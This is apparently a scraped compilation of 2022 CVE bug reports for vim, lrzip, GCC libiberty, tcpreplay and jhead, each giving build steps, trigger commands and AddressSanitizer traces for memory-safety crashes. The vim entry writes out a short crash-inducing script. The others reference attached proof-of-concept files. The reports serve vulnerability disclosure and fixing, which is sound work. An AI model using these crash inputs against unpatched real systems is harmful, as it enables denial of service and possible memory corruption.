Use after free in utf_ptr2char in GitHub repository vim/vim prior to 8.2.4646.

✍️ Description

When fuzzing vim commit 9dac9b175, I discovered a use after free. I'm testing on ubuntu 20.04 with clang 13.

**Proof of Concept**

Here is the minimized poc

    s/\v/\r
    /\%'(\{,600}
    

How to build

    LD=lld AS=llvm-as AR=llvm-ar RANLIB=llvm-ranlib CC=clang CXX=clang++ CFLAGS="-fsanitize=address" CXXFLAGS="-fsanitize=address" LDFLAGS="-ldl -fsanitize=address" ./configure --with-features=huge --enable-gui=none
    make -j$(nproc)
    

Proof of Concept

Run crafted file with this command

./vim -u NONE -X -Z -e -s -S poc_utf_ptr2char -c :qa!

ASan stack trace:

    aldo@vps:~/vim/src$ ASAN_OPTIONS=symbolize=1 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer ./vim -u NONE -X -Z -e -s -S poc_utf_ptr2char -c :qa!
    =================================================================
    ==49542==ERROR: AddressSanitizer: heap-use-after-free on address 0x6020000062b0 at pc 0x0000008636a8 bp 0x7fffffff5980 sp 0x7fffffff5978
    READ of size 1 at 0x6020000062b0 thread T0
        #0 0x8636a7 in utf_ptr2char /home/aldo/vimtes/src/mbyte.c:1789:9
        #1 0xaa6a07 in regmatch /home/aldo/vimtes/src/./regexp_bt.c:3317:12
        #2 0xaa58ca in regtry /home/aldo/vimtes/src/./regexp_bt.c:4722:9
        #3 0xaa5231 in bt_regexec_both /home/aldo/vimtes/src/./regexp_bt.c:4955:15
        #4 0xa97dec in bt_regexec_multi /home/aldo/vimtes/src/./regexp_bt.c:5067:12
        #5 0xa312ac in vim_regexec_multi /home/aldo/vimtes/src/regexp.c:2864:14
        #6 0xb01a23 in searchit /home/aldo/vimtes/src/search.c:767:14
        #7 0xb06edc in do_search /home/aldo/vimtes/src/search.c:1565:6
        #8 0x6dd9d4 in get_address /home/aldo/vimtes/src/ex_docmd.c:4351:12
        #9 0x6e06ee in parse_cmd_address /home/aldo/vimtes/src/ex_docmd.c:3265:9
        #10 0x6ce320 in do_one_cmd /home/aldo/vimtes/src/ex_docmd.c:1938:6
        #11 0x6c7a22 in do_cmdline /home/aldo/vimtes/src/ex_docmd.c:993:17
        #12 0xaf7105 in do_source_ext /home/aldo/vimtes/src/scriptfile.c:1632:5
        #13 0xaf4b50 in do_source /home/aldo/vimtes/src/scriptfile.c:1758:12
        #14 0xaf4689 in cmd_source /home/aldo/vimtes/src/scriptfile.c:1132:14
        #15 0xaf416d in ex_source /home/aldo/vimtes/src/scriptfile.c:1158:2
        #16 0x6d3c94 in do_one_cmd /home/aldo/vimtes/src/ex_docmd.c:2567:2
        #17 0x6c7a22 in do_cmdline /home/aldo/vimtes/src/ex_docmd.c:993:17
        #18 0x6cacb0 in do_cmdline_cmd /home/aldo/vimtes/src/ex_docmd.c:587:12
        #19 0xeca9a4 in exe_commands /home/aldo/vimtes/src/main.c:3080:2
        #20 0xec86d9 in vim_main2 /home/aldo/vimtes/src/main.c:772:2
        #21 0xec20dd in main /home/aldo/vimtes/src/main.c:424:12
        #22 0x7ffff78240b2 in __libc_start_main /build/glibc-sMfBJT/glibc-2.31/csu/../csu/libc-start.c:308:16
        #23 0x41edcd in _start (/home/aldo/vimtes/src/vim+0x41edcd)
    
    0x6020000062b0 is located 0 bytes inside of 1-byte region [0x6020000062b0,0x6020000062b1)
    freed by thread T0 here:
        #0 0x499a22 in free (/home/aldo/vimtes/src/vim+0x499a22)
        #1 0x4cb4e8 in vim_free /home/aldo/vimtes/src/alloc.c:623:2
        #2 0x8768ee in ml_flush_line /home/aldo/vimtes/src/memline.c:4064:2
        #3 0x884c9c in ml_get_buf /home/aldo/vimtes/src/memline.c:2651:2
        #4 0x8823b8 in ml_get /home/aldo/vimtes/src/memline.c:2564:12
        #5 0x8b2a93 in dec /home/aldo/vimtes/src/misc2.c:424:6
        #6 0x8b2cd4 in decl /home/aldo/vimtes/src/misc2.c:443:14
        #7 0xc86249 in findsent /home/aldo/vimtes/src/textobject.c:53:7
        #8 0x847de7 in getmark_buf_fnum /home/aldo/vimtes/src/mark.c:354:6
        #9 0x8477a4 in getmark_buf /home/aldo/vimtes/src/mark.c:287:12
        #10 0xaa6d84 in regmatch /home/aldo/vimtes/src/./regexp_bt.c:3364:9
        #11 0xaa58ca in regtry /home/aldo/vimtes/src/./regexp_bt.c:4722:9
        #12 0xaa5231 in bt_regexec_both /home/aldo/vimtes/src/./regexp_bt.c:4955:15
        #13 0xa97dec in bt_regexec_multi /home/aldo/vimtes/src/./regexp_bt.c:5067:12
        #14 0xa312ac in vim_regexec_multi /home/aldo/vimtes/src/regexp.c:2864:14
        #15 0xb01a23 in searchit /home/aldo/vimtes/src/search.c:767:14
        #16 0xb06edc in do_search /home/aldo/vimtes/src/search.c:1565:6
        #17 0x6dd9d4 in get_address /home/aldo/vimtes/src/ex_docmd.c:4351:12
        #18 0x6e06ee in parse_cmd_address /home/aldo/vimtes/src/ex_docmd.c:3265:9
        #19 0x6ce320 in do_one_cmd /home/aldo/vimtes/src/ex_docmd.c:1938:6
        #20 0x6c7a22 in do_cmdline /home/aldo/vimtes/src/ex_docmd.c:993:17
        #21 0xaf7105 in do_source_ext /home/aldo/vimtes/src/scriptfile.c:1632:5
        #22 0xaf4b50 in do_source /home/aldo/vimtes/src/scriptfile.c:1758:12
        #23 0xaf4689 in cmd_source /home/aldo/vimtes/src/scriptfile.c:1132:14
        #24 0xaf416d in ex_source /home/aldo/vimtes/src/scriptfile.c:1158:2
        #25 0x6d3c94 in do_one_cmd /home/aldo/vimtes/src/ex_docmd.c:2567:2
        #26 0x6c7a22 in do_cmdline /home/aldo/vimtes/src/ex_docmd.c:993:17
        #27 0x6cacb0 in do_cmdline_cmd /home/aldo/vimtes/src/ex_docmd.c:587:12
        #28 0xeca9a4 in exe_commands /home/aldo/vimtes/src/main.c:3080:2
        #29 0xec86d9 in vim_main2 /home/aldo/vimtes/src/main.c:772:2
    
    previously allocated by thread T0 here:
        #0 0x499c8d in malloc (/home/aldo/vimtes/src/vim+0x499c8d)
        #1 0x4cb0e0 in lalloc /home/aldo/vimtes/src/alloc.c:248:11
        #2 0x4cb039 in alloc /home/aldo/vimtes/src/alloc.c:151:12
        #3 0xbcc84c in vim_strnsave /home/aldo/vimtes/src/strings.c:44:9
        #4 0x885952 in ml_replace_len /home/aldo/vimtes/src/memline.c:3441:13
        #5 0x885826 in ml_replace /home/aldo/vimtes/src/memline.c:3404:12
        #6 0x6ba35c in ex_substitute /home/aldo/vimtes/src/ex_cmds.c:4665:4
        #7 0x6d3c94 in do_one_cmd /home/aldo/vimtes/src/ex_docmd.c:2567:2
        #8 0x6c7a22 in do_cmdline /home/aldo/vimtes/src/ex_docmd.c:993:17
        #9 0xaf7105 in do_source_ext /home/aldo/vimtes/src/scriptfile.c:1632:5
        #10 0xaf4b50 in do_source /home/aldo/vimtes/src/scriptfile.c:1758:12
        #11 0xaf4689 in cmd_source /home/aldo/vimtes/src/scriptfile.c:1132:14
        #12 0xaf416d in ex_source /home/aldo/vimtes/src/scriptfile.c:1158:2
        #13 0x6d3c94 in do_one_cmd /home/aldo/vimtes/src/ex_docmd.c:2567:2
        #14 0x6c7a22 in do_cmdline /home/aldo/vimtes/src/ex_docmd.c:993:17
        #15 0x6cacb0 in do_cmdline_cmd /home/aldo/vimtes/src/ex_docmd.c:587:12
        #16 0xeca9a4 in exe_commands /home/aldo/vimtes/src/main.c:3080:2
        #17 0xec86d9 in vim_main2 /home/aldo/vimtes/src/main.c:772:2
        #18 0xec20dd in main /home/aldo/vimtes/src/main.c:424:12
        #19 0x7ffff78240b2 in __libc_start_main /build/glibc-sMfBJT/glibc-2.31/csu/../csu/libc-start.c:308:16
    
    SUMMARY: AddressSanitizer: heap-use-after-free /home/aldo/vimtes/src/mbyte.c:1789:9 in utf_ptr2char
    Shadow bytes around the buggy address:
      0x0c047fff8c00: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
      0x0c047fff8c10: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
      0x0c047fff8c20: fa fa 00 00 fa fa 00 00 fa fa 05 fa fa fa 00 fa
      0x0c047fff8c30: fa fa fd fa fa fa 03 fa fa fa fd fa fa fa 03 fa
      0x0c047fff8c40: fa fa fd fa fa fa 03 fa fa fa fd fa fa fa 00 00
    =>0x0c047fff8c50: fa fa 01 fa fa fa[fd]fa fa fa 00 04 fa fa 00 04
      0x0c047fff8c60: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c047fff8c70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c047fff8c80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c047fff8c90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c047fff8ca0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
    Shadow byte legend (one shadow byte represents 8 application bytes):
      Addressable:           00
      Partially addressable: 01 02 03 04 05 06 07
      Heap left redzone:       fa
      Freed heap region:       fd
      Stack left redzone:      f1
      Stack mid redzone:       f2
      Stack right redzone:     f3
      Stack after return:      f5
      Stack use after scope:   f8
      Global redzone:          f9
      Global init order:       f6
      Poisoned by user:        f7
      Container overflow:      fc
      Array cookie:            ac
      Intra object redzone:    bb
      ASan internal:           fe
      Left alloca redzone:     ca
      Right alloca redzone:    cb
      Shadow gap:              cc
    ==49542==ABORTING
    

**💥 Impact**

This vulnerability is capable of crashing software, Bypass Protection Mechanism, Modify Memory, and possible remote execution

CVE-2022-1154: Use after free in utf_ptr2char in vim

lrzip v0.641 was discovered to contain a multiple concurrency use-after-free between the functions zpaq_decompress_buf() and clear_rulist(). This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted Irz file.

Dear all,

Our tool report that there would be multiple concurrency use-after-free between zpaq_decompress_buf() function and clear_rulist() function, in the newest master branch 465afe8.

**Brief Explanation**

The related code simplified from stream.c and runzip.c are shown as follow:

// Thread T0                                | // Thread T1
// in clear\_rulist() in runzip.c            | // in zpaq\_decompress\_buf() in steam.c
...                                         | ...
struct runzip\_node \*node = control->ruhead; | if (unlikely(dlen != ucthread->u\_len)) {
struct stream\_info \*sinfo = node->sinfo;    |     ret = -1;
                                            | } else
dealloc(sinfo->ucthreads);                  |     dealloc(c\_buf);
dealloc(sinfo);                             | out:
                                            |     if (ret == -1) {
                                            |         dealloc(ucthread->s\_buf);
		                            |         ucthread->s\_buf = c\_buf;
	                                    |     }

Both thread T0 and thread T1 operate on a shared variable ucthread (i.e., T0 dealloc the a ucthread through dealloc(sinfo->ucthreads);, and T1 use the ucthread in all statements if (unlikely(dlen != ucthread->u_len)), dealloc(ucthread->s_buf);, and ucthread->s_buf = c_buf;).  
However, a use-after-free can occur if the deallocation of ucthread before the use of ucthread.  
For example, the following three thread interleaving can trigger three different UAFs:

_Interleaving (a)_

// Thread T0                                | // Thread T1
                                            |
...                                         | 
struct runzip\_node \*node = control->ruhead; | 
struct stream\_info \*sinfo = node->sinfo;    | 
                                            | 
dealloc(sinfo->ucthreads);                  | 
dealloc(sinfo);                             | 
----------------------------------------------------------------------------------------------------
	                                    | ...
                                            | if (unlikely(dlen != ucthread->u\_len)) { // UAF here
                                            |     ret = -1;
                                            | } else
                                            |     dealloc(c\_buf);
                                            | out:
                                            |     if (ret == -1) {
                                            |         dealloc(ucthread->s\_buf);
		                            |         ucthread->s\_buf = c\_buf;
	                                    |     }

_Interleaving (b)_

// Thread T0                                | // Thread T1
                                            |
                                            | ...
                                            | if (unlikely(dlen != ucthread->u\_len)) {
                                            |     ret = -1;
                                            | } else
                                            |     dealloc(c\_buf);
                                            | out:
                                            |     if (ret == -1) {
----------------------------------------------------------------------------------------------------
...                                         | 
struct runzip\_node \*node = control->ruhead; | 
struct stream\_info \*sinfo = node->sinfo;    | 
                                            | 
dealloc(sinfo->ucthreads);                  | 
dealloc(sinfo);                             | 
----------------------------------------------------------------------------------------------------
                                            |         dealloc(ucthread->s\_buf);  // UAF occur here
		                            |         ucthread->s\_buf = c\_buf;
	                                    |     }

_Interleaving (c)_

// Thread T0                                | // Thread T1
                                            |
                                            | ...
                                            | if (unlikely(dlen != ucthread->u\_len)) {
                                            |     ret = -1;
                                            | } else
                                            |     dealloc(c\_buf);
                                            | out:
                                            |     if (ret == -1) {
                                            |         dealloc(ucthread->s\_buf); 
----------------------------------------------------------------------------------------------------
...                                         | 
struct runzip\_node \*node = control->ruhead; | 
struct stream\_info \*sinfo = node->sinfo;    | 
                                            | 
dealloc(sinfo->ucthreads);                  | 
dealloc(sinfo);                             | 
----------------------------------------------------------------------------------------------------
		                            |         ucthread->s\_buf = c\_buf; // UAF occur here
	                                    |     }

**Reproduce through delay injection**

To reproduce those use-after-free errors, we can insert two delays (e.g., sleep(1)) into the original source code.

For example, to reproduce interleaving (a) as mentioned earlier, you can insert a delay before dealloc(sinfo->ucthreads); statement in function in steam.c, and also a delay after, as shown as follows.

// In runzip.c, insert a delay after \`dealloc(sinfo->ucthreads);\`
static void clear\_rulist(rzip\_control \*control)
{
	while (control->ruhead) {
		struct runzip\_node \*node = control->ruhead;
		struct stream\_info \*sinfo = node->sinfo;
	
		dealloc(sinfo->ucthreads);
		sleep(1); // delay here !!!!!!!!!!
		dealloc(node->pthreads);
		dealloc(sinfo->s);
		dealloc(sinfo);
		control->ruhead = node->prev;
		dealloc(node);
	}
}

// In steam.c, insert a delay after \`dealloc(sinfo->ucthreads);\`
static int zpaq\_decompress\_buf(rzip\_control \*control \_\_UNUSED\_\_, struct uncomp\_thread \*ucthread, long thread)
{
	...
	zpaq\_decompress(ucthread->s\_buf, &dlen, c\_buf, ucthread->c\_len,
			control->msgout, SHOW\_PROGRESS ? true: false, thread);
	sleep(1); // delay here !!!!!!!!!!
	if (unlikely(dlen != ucthread->u\_len)) {
		print\_err("Inconsistent length after decompression. Got %ld bytes, expected %lld\\n", dlen, ucthread->u\_len);
		ret = -1;
	} else
		dealloc(c\_buf);
    ...
}

compile the program:

CC=gcc CXX=g++ CFLAGS="\-g -O0 -fsanitize=address" CXXFLAGS="\-g -O0 -fsanitize=address" ./configure --enable-static-bin
make

Download the testcase (I upload the POC here, please unzip first).  
POC.zip

Run with the testcase with the following command:

Then, you will see the use-after-free bug report. Here is the trace reported by ASAN:

\=================================================================
==33325==ERROR: AddressSanitizer: heap-use-after-free on address 0x61d0000000e8 at pc 0x000000512b00 bp 0x7f9a30bfdb10 sp 0x7f9a30bfdb08

READ of size 8 at 0x61d0000000e8 thread T3
    #0 0x512aff in zpaq\_decompress\_buf /workdir/lrzip/stream.c:449:6
    #1 0x510381 in ucompthread /workdir/lrzip/stream.c:1554:11
    #2 0x7f9a3541b6da in start\_thread (/lib/x86\_64-linux-gnu/libpthread.so.0+0x76da)
    #3 0x7f9a3479771e in clone (/lib/x86\_64-linux-gnu/libc.so.6+0x12171e)

0x61d0000000e8 is located 104 bytes inside of 2400-byte region \[0x61d000000080,0x61d0000009e0)
freed by thread T0 here:
    #0 0x494e1d in free /home/brian/src/final/llvm-project/compiler-rt/lib/asan/asan\_malloc\_linux.cpp:123:3
    #1 0x4faa0d in clear\_rulist /workdir/lrzip/runzip.c:255:3
    #2 0x4f7ab2 in runzip\_chunk /workdir/lrzip/runzip.c:384:2
    #3 0x4f4aae in runzip\_fd /workdir/lrzip/runzip.c:404:7
    #4 0x4d84ce in decompress\_file /workdir/lrzip/lrzip.c:845:6
    #5 0x4cb98b in main /workdir/lrzip/main.c:706:4
    #6 0x7f9a34697bf6 in \_\_libc\_start\_main (/lib/x86\_64-linux-gnu/libc.so.6+0x21bf6)

previously allocated by thread T0 here:
    #0 0x495212 in calloc /home/brian/src/final/llvm-project/compiler-rt/lib/asan/asan\_malloc\_linux.cpp:154:3
    #1 0x5003e1 in open\_stream\_in /workdir/lrzip/stream.c:1084:33
    #2 0x4f6fa5 in runzip\_chunk /workdir/lrzip/runzip.c:322:7
    #3 0x4f4aae in runzip\_fd /workdir/lrzip/runzip.c:404:7
    #4 0x4d84ce in decompress\_file /workdir/lrzip/lrzip.c:845:6
    #5 0x4cb98b in main /workdir/lrzip/main.c:706:4
    #6 0x7f9a34697bf6 in \_\_libc\_start\_main (/lib/x86\_64-linux-gnu/libc.so.6+0x21bf6)

Thread T3 created by T0 here:
    #0 0x47fe4a in pthread\_create /home/brian/src/final/llvm-project/compiler-rt/lib/asan/asan\_interceptors.cpp:214:3
    #1 0x4fbbd0 in create\_pthread /workdir/lrzip/stream.c:125:6
    #2 0x507033 in fill\_buffer /workdir/lrzip/stream.c:1713:6
    #3 0x504184 in read\_stream /workdir/lrzip/stream.c:1800:8
    #4 0x4f9c88 in unzip\_literal /workdir/lrzip/runzip.c:162:16
    #5 0x4f731c in runzip\_chunk /workdir/lrzip/runzip.c:338:9
    #6 0x4f4aae in runzip\_fd /workdir/lrzip/runzip.c:404:7
    #7 0x4d84ce in decompress\_file /workdir/lrzip/lrzip.c:845:6
    #8 0x4cb98b in main /workdir/lrzip/main.c:706:4
    #9 0x7f9a34697bf6 in \_\_libc\_start\_main (/lib/x86\_64-linux-gnu/libc.so.6+0x21bf6)

SUMMARY: AddressSanitizer: heap-use-after-free /workdir/lrzip/stream.c:449:6 in zpaq\_decompress\_buf
Shadow bytes around the buggy address:
  0x0c3a7fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c3a7fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c3a7fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c3a7fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c3a7fff8000: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
\=>0x0c3a7fff8010: fd fd fd fd fd fd fd fd fd fd fd fd fd\[fd\]fd fd
  0x0c3a7fff8020: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c3a7fff8030: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c3a7fff8040: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c3a7fff8050: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c3a7fff8060: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
\==33325\==ABORTING

I'm not sure if these use-after-free bugs could cause serious harm. I hope you can check whether it is necessary to fix these bugs.

Thanks.

CVE-2022-26291: Multiple concurrency UAF bug between `zpaq_decompress_buf()` and `clear_rulist()` function · Issue #206 · ckolivas/lrzip

libiberty/rust-demangle.c in GNU GCC 11.2 allows stack consumption in demangle_const, as demonstrated by nm-new.

'105039?cve=title' is not a valid bug number nor an alias to a bug.

Please press **Back** and try again.

CVE-2022-27943: Invalid Bug ID

tcpprep in Tcpreplay 4.4.1 has a heap-based buffer over-read in parse_mpls in common/get.c.

You are opening a _bug report_ against the Tcpreplay project: we use  
GitHub Issues for tracking bug reports and feature requests.

If you have a question about how to use Tcpreplay, you are at the wrong  
site. You can ask a question on the tcpreplay-users mailing list  
or on Stack Overflow with \[tcpreplay\] tag.  
General help is available here.

If you have a build issue, consider downloading the latest release

Otherwise, to report a bug, please fill out the reproduction steps  
(below) and delete these introductory paragraphs. Thanks!

**Describe the bug**  
There is a heap-overflow bug found in parse\_mpls, can be triggered via tcpprep+ ASan

**To Reproduce**  
Steps to reproduce the behavior:

1.  export CC=clang && export CFLAGS="-fsanitize=address -g"
2.  ./autogen.sh && ./configure --disable-shared --disable-local-libopts && make clean && make -j8
3.  ./src/tcpprep --auto=bridge --pcap=$POC --cachefile=/dev/null

Output:

    ==2021941==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000000142 at pc 0x000000448721 bp 0x7fff4fd006f0 sp 0x7fff4fd006e0
    READ of size 4 at 0x602000000142 thread T0
        #0 0x448720 in parse_mpls (/validate/run1/tcpreplay/tcpprep+0x448720)
        #1 0x44edb0 in parse_metadata (/validate/run1/tcpreplay/tcpprep+0x44edb0)
        #2 0x44c591 in get_l2len_protocol (/validate/run1/tcpreplay/tcpprep+0x44c591)
        #3 0x44fa30 in get_ipv4 (/validate/run1/tcpreplay/tcpprep+0x44fa30)
        #4 0x41434c in process_raw_packets (/validate/run1/tcpreplay/tcpprep+0x41434c)
        #5 0x412708 in main (/validate/run1/tcpreplay/tcpprep+0x412708)
        #6 0x7f6b96777d8f  (/lib/x86_64-linux-gnu/libc.so.6+0x2dd8f)
        #7 0x7f6b96777e3f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2de3f)
        #8 0x4085f4 in _start (/validate/run1/tcpreplay/tcpprep+0x4085f4)
    
    0x602000000142 is located 2 bytes to the right of 16-byte region [0x602000000130,0x602000000140)
    allocated by thread T0 here:
        #0 0x4dd0d8 in __interceptor_realloc (/validate/run1/tcpreplay/tcpprep+0x4dd0d8)
        #1 0x7f6b969bd1c7  (/lib/x86_64-linux-gnu/libpcap.so.0.8+0x291c7)
    
    SUMMARY: AddressSanitizer: heap-buffer-overflow (/validate/run1/tcpreplay/tcpprep+0x448720) in parse_mpls
    Shadow bytes around the buggy address:
      0x0c047fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c047fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c047fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c047fff8000: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
      0x0c047fff8010: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
    =>0x0c047fff8020: fa fa fd fd fa fa 00 00[fa]fa fa fa fa fa fa fa
      0x0c047fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c047fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c047fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c047fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c047fff8070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
    Shadow byte legend (one shadow byte represents 8 application bytes):
      Addressable:           00
      Partially addressable: 01 02 03 04 05 06 07
      Heap left redzone:       fa
      Freed heap region:       fd
      Stack left redzone:      f1
      Stack mid redzone:       f2
      Stack right redzone:     f3
      Stack after return:      f5
      Stack use after scope:   f8
      Global redzone:          f9
      Global init order:       f6
      Poisoned by user:        f7
      Container overflow:      fc
      Array cookie:            ac
      Intra object redzone:    bb
      ASan internal:           fe
      Left alloca redzone:     ca
      Right alloca redzone:    cb
      Shadow gap:              cc
    ==2021941==ABORTING
    

**System (please complete the following information):**

*   OS: Ubuntu 20.04
*   Clang 12.0.1
*   Tcpreplay Version : latest commit 09f0774

**Credit**  
NCNIPC of China  
Hexhive

**POC**

POC2.zip

CVE-2022-27942: [Bug] heap buffer overflow in parse_mpls · Issue #719 · appneta/tcpreplay

tcprewrite in Tcpreplay 4.4.1 has a heap-based buffer over-read in get_ipv6_next in common/get.c.

You are opening a _bug report_ against the Tcpreplay project: we use  
GitHub Issues for tracking bug reports and feature requests.

If you have a question about how to use Tcpreplay, you are at the wrong  
site. You can ask a question on the tcpreplay-users mailing list  
or on Stack Overflow with \[tcpreplay\] tag.  
General help is available here.

If you have a build issue, consider downloading the latest release

Otherwise, to report a bug, please fill out the reproduction steps  
(below) and delete these introductory paragraphs. Thanks!

**Describe the bug**  
There is a heap-overflow bug found in get\_ipv6\_next, can be triggered via tcprewrite + ASan

**To Reproduce**  
Steps to reproduce the behavior:

1.  export CC=clang && export CFLAGS="-fsanitize=address -g"
2.  ./autogen.sh && ./configure --disable-shared --disable-local-libopts && make clean && make -j8
3.  ./src/tcprewrite -o /dev/null -i POC  
    output:

    Warning: tcprewrite/crash.1 was captured using a snaplen of 64 bytes.  This may mean you have truncated packets.
    =================================================================
    ==7944==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7fc3f2e48820 at pc 0x000000535bca bp 0x7ffe1d7fcb70 sp 0x7ffe1d7fcb68
    READ of size 4 at 0x7fc3f2e48820 thread T0
        #0 0x535bc9 in get_ipv6_next /benchmark/vulnerable/tcpreplay/src/common/get.c:679:14
        #1 0x53598e in get_layer4_v6 /benchmark/vulnerable/tcpreplay/src/common/get.c:626:22
        #2 0x4f9bc4 in tcpedit_packet /benchmark/vulnerable/tcpreplay/src/tcpedit/tcpedit.c:198:13
        #3 0x4f80fc in rewrite_packets /benchmark/vulnerable/tcpreplay/src/tcprewrite.c:304:22
        #4 0x4f7418 in main /benchmark/vulnerable/tcpreplay/src/tcprewrite.c:145:9
    
        #5 0x7fc3f175dbf6 in __libc_start_main /build/glibc-S9d2JN/glibc-2.27/csu/../csu/libc-start.c:310
        #6 0x41c2c9 in _start (/benchmark/vulnerable/tcpreplay/src/tcprewrite+0x41c2c9)
    
    0x7fc3f2e48820 is located 10 bytes to the right of 262166-byte region [0x7fc3f2e08800,0x7fc3f2e48816)
    allocated by thread T0 here:
        #0 0x4aec90 in malloc /home/nipc/workspace/install/llvm-project/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
        #1 0x536c1f in _our_safe_malloc /benchmark/vulnerable/tcpreplay/src/common/utils.c:50:16
        #2 0x4f7e02 in rewrite_packets /benchmark/vulnerable/tcpreplay/src/tcprewrite.c:267:34
        #3 0x4f7418 in main /benchmark/vulnerable/tcpreplay/src/tcprewrite.c:145:9
        #4 0x7fc3f175dbf6 in __libc_start_main /build/glibc-S9d2JN/glibc-2.27/csu/../csu/libc-start.c:310
    
    SUMMARY: AddressSanitizer: heap-buffer-overflow /benchmark/vulnerable/tcpreplay/src/common/get.c:679:14 in get_ipv6_next
    Shadow bytes around the buggy address:
      0x0ff8fe5c10b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0ff8fe5c10c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0ff8fe5c10d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0ff8fe5c10e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0ff8fe5c10f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    =>0x0ff8fe5c1100: 00 00 06 fa[fa]fa fa fa fa fa fa fa fa fa fa fa
      0x0ff8fe5c1110: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0ff8fe5c1120: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0ff8fe5c1130: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0ff8fe5c1140: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0ff8fe5c1150: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
    Shadow byte legend (one shadow byte represents 8 application bytes):
      Addressable:           00
      Partially addressable: 01 02 03 04 05 06 07
      Heap left redzone:       fa
      Freed heap region:       fd
      Stack left redzone:      f1
      Stack mid redzone:       f2
      Stack right redzone:     f3
      Stack after return:      f5
      Stack use after scope:   f8
      Global redzone:          f9
      Global init order:       f6
      Poisoned by user:        f7
      Container overflow:      fc
      Array cookie:            ac
      Intra object redzone:    bb
      ASan internal:           fe
      Left alloca redzone:     ca
      Right alloca redzone:    cb
      Shadow gap:              cc
    ==7944==ABORTING
    

**Screenshots**  

**System (please complete the following information):**

*   OS: Ubuntu
*   OS version : can be reproduced in 18.04/20.04
*   clang version: 12.0.1 (release/12.x)
*   Tcpreplay Version : latest commit 09f0774

**Credit**  
Han Zheng  
NCNIPC of China  
Hexhive

**POC**  
POC2.zip

CVE-2022-27940: [Bug] heap-overflow in get_ipv6_next · Issue #718 · appneta/tcpreplay

A Heap-based Buffer Overflow vulnerability exists in jhead 3.04 and 3.05 via the RemoveSectionType function in jpgfile.c.

Description of problem:

A heap-based buffer overflow Read in RemoveSectionType in jpgfile.c

Version-Release number of selected component (if applicable):

I tested the following version:  
Jhead version: 3.05  
Jhead version: 3.04

How reproducible:

git clone --depth=1 https://github.com/Matthias-Wandel/jhead.git && cd jhead && make CC="clang" -e CFLAGS="-g -fsanitize=address" -e LDFLAGS="-g -fsanitize=address"

Steps to Reproduce:  
1.just run the following command

    ./jhead -purejpg ./tests_61786.jpg
    

poc：  
tests\_61786.zip

Actual results:

AddressSanitizer Report

    $ ./jhead -purejpg ./tests_61786.jpg
    =================================================================
    ==26249==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60e0000000e0 at pc 0x000000494f5f bp 0x7ffc20743730 sp 0x7ffc20742ef8
    READ of size 160 at 0x60e0000000e0 thread T0
        #0 0x494f5e in __asan_memmove (/root/fuzz/jhead/jhead+0x494f5e)
        #1 0x4d14ff in RemoveSectionType /root/fuzz/jhead/jpgfile.c:669:13
        #2 0x4ca649 in ProcessFile /root/fuzz/jhead/jhead.c:1173:13
        #3 0x4c74e5 in main /root/fuzz/jhead/jhead.c:1759:13
        #4 0x7fc05b29283f in __libc_start_main /build/glibc-e6zv40/glibc-2.23/csu/../csu/libc-start.c:291
